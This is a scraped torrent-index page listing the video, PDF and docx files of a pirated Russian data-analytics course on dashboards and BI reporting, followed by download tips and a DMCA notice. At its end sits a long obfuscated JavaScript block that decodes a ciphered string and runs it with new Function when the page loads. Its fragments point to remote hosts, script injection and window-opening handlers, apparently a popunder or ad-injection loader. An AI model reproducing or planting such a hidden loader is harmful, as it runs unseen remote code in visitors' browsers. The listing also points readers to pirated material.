    Продвинутая аналитика данных [2023] часть 1/2 Модуль/1.1 Вводное интро от хедлайнера.mkv 13.73 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/1.2 Интро к модулю -Продуктовый подход к созданию отчетности-.mkv 23.8 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/2 BI-система как продукт.mkv 79.62 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/2. BI-система как продукт (1).pdf 202.23 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/2. BI-система как продукт.pdf 9.64 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/2.docx 12.82 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/3 Алгоритм создания Dashboard Map.mkv 113.35 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/3. Алгоритм создания Dashboard Map (1).pdf 1.13 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/3. Алгоритм создания Dashboard Map.pdf 2.92 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/3.docx 12.62 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/4 Роли бизнес пользователей системы отчетности.mkv 70.22 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/4. Роли бизнес-пользователей системы отчётности.pdf 944.95 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/4.docx 12.57 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/5 Анализ продуктов, бизнес-процессов и сущностей компании.mkv 93.71 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/5. Анализ продуктов бизнес-процессов и сущностей компании.pdf 1.02 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/5. Анализ продуктов, бизнес-процессов и сущностей компании.pdf 1.74 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/5.docx 12.57 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/6 Какие типы дашбордов бывают и какие задачи они решают (1).mkv 255.84 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/6. Какие типы дашбордов бывают и какие задачи они решают (1).pdf 4.73 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/6. Какие типы дашбордов бывают и какие задачи они решают.pdf 16.97 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/6.docx 12.57 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/7 Метрики и Срезы.mkv 51.01 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/7. Метрики и срезы (1).pdf 95.12 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/7. Метрики и срезы.pdf 1.14 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/7.docx 12.56 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/8 Фасилитация.mkv 94.4 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/8. Фасилитация (1).pdf 629.7 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/8. Фасилитация.pdf 1.96 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/8.docx 12.16 KB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/9 Воркшоп с Ромой Буниным 07.06.2023 (1).mkv 351.45 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/10 Итоговое задание. Сбор информации (1).mkv 183.28 MB
    Продвинутая аналитика данных [2023] часть 1/2 Модуль/10.docx 13.5 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/1. Алгоритм Dashboard Canvas фреймворк Исправленная.pdf 9.43 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/1.docx 12.59 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/2. Подготовка и проведение интервью.pdf 3.01 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/2.docx 13.73 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/3 Karpov.Courses. HDA_ Бизнес-кейс для команды Listings.docx 10.02 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/3. Структурирование требований в Dashboard Canvas (Исправленная).pdf 16.48 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/3.docx 15.44 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/4 Дизайн-паттерны.mkv 160.79 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/4. Дизайн-паттерны.pdf 13.48 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/4.docx 12.15 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/5. Утверждение макета с заказчиком.pdf 2.56 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/5.docx 13.93 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/6.2 Разбор кейса.mkv 167.13 MB
    part 3/курс/модули/4 модуль/1. Аналитические хранилища данных. Степ 1.pdf 8.38 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/7. Прототип, демо и оценка результатов проекта.pdf 4.49 MB
    Продвинутая аналитика данных [2023] часть 2/2 часть/7.docx 12.22 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/8.docx 15.69 KB
    Продвинутая аналитика данных [2023] часть 2/2 часть/9 Вебинар по итоговому проекту по дашбордам.mkv 191.66 MB

Download Info

  • Tips

    “Продвинутая аналитика данных (Часть 1-6 из 6)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="h9m3gbx3qf";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/CL/@@{jR8hQ^sp)Rs:7"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"hQ^sp)Rs:7"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYms5n6d1qmRT4"="@@{5p(LYpmQLqd0@fmRT4"="@@{D7(LSqms5n6d1qmRT4"="@@{dC(LJ^mQLqd0@fmRT4"="@@{(C(L:4ms5n6d1qmRT4"="@@{C2(LSYmQLqd0@fmRT4"="@@{25(LLSms5n6d1qmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/f/@@{j(8}vR8hQ^sp)Rs:7"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();